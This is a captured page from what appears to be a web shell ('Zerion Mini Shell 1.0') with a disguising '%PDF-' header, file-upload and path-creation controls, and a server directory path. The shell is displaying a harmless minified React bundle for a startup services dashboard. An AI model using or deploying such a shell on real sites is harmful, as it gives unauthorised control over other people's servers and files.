%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/public_html/startup-life/assets/
Upload File :
Create Path :
Current File : /home/opti/public_html/startup-life/assets/index-d0e07155.js

import{e as x,u,j as e,C as f}from"./index-5492fbe1.js";import{D as h}from"./dashboard-page-layout-2cec2413.js";import{T as y}from"./index-9340f0a7.js";import{C as c}from"./index-2c4b8b3c.js";import{h as v}from"./moment-a9aaa855.js";import{u as j}from"./useQuery-0abbcf43.js";import{B as g}from"./Button-e32596e7.js";import"./motion-4a110d9b.js";import"./Box-263f925f.js";import"./index.esm-690e6bd0.js";import"./iconBase-4b2ba95c.js";import"./TableRow-4b138891.js";import"./ButtonBase-0400401d.js";import"./assertThisInitialized-081f9914.js";import"./TransitionGroupContext-29effe25.js";import"./setPrototypeOf-0bb37fbe.js";import"./useForkRef-ff55d5c8.js";const b=o=>j({queryFn:async()=>{var a;try{return(await x.get("/service/my-service",o)).data}catch(n){return(a=n.response)==null?void 0:a.data}},queryKey:["GET_MY_OFFER_SERVICESSS_"]}),P=()=>{var l,p,m;const o=u(),{data:r,isLoading:i,isPending:a,isError:n}=b({params:{sortOrder:"DESC",limit:100,page:1}});console.log(r);const s=["SN","Kind of service","Availability","Location","Rate($)","Action"],d=(l=r==null?void 0:r.data)==null?void 0:l.map(t=>({...t,[s[0]]:t.id,[s[1]]:t.kind,[s[2]]:v(t.availability).fromNow(),[s[3]]:t.location,[s[4]]:t.rate,[s[5]]:e.jsx("button",{className:"text-[#A8CF45] px-0 bg-transparent !border-none",onClick:()=>o(`/services/offered-service/${t.id}`),children:"View more"})}));return e.jsx(h,{children:e.jsxs("section",{className:"px-5",children:[e.jsxs("header",{className:"flex items-center justify-between !mb-5",children:[e.jsx("h2",{className:"text-[#537473] font-bold ",children:"Offer service"}),e.jsx(g,{className:"!bg-primary !normal-case text-white !px-5",onClick:()=>o("/services/create-service"),children:"Create a Service"})]}),e.jsx(c,{appear:i||a,children:e.jsx(f,{})}),e.jsx(c,{appear:n,children:"ERROR: INTERNET_CONNECTION_REFUSED"}),e.jsx(c,{appear:!i&&!a&&((p=r==null?void 0:r.data)==null?void 0:p.length)===0,children:e.jsx("div",{className:"mt-[20px] text-[#537473]",children:"Services you can offer will be listed here..."})}),e.jsx(c,{appear:!i&&!a&&((m=r==null?void 0:r.data)==null?void 0:m.length)>0,children:e.jsx(y,{header:s,element:d})})]})})};export{P as default};

Zerion Mini Shell 1.0